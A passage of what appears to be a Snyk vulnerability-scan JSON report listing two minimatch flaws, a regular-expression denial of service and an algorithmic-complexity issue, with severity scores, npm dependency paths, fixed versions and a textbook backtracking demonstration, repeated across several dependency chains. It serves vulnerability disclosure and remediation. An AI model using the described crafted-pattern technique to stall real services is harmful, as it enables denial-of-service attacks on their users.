inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" 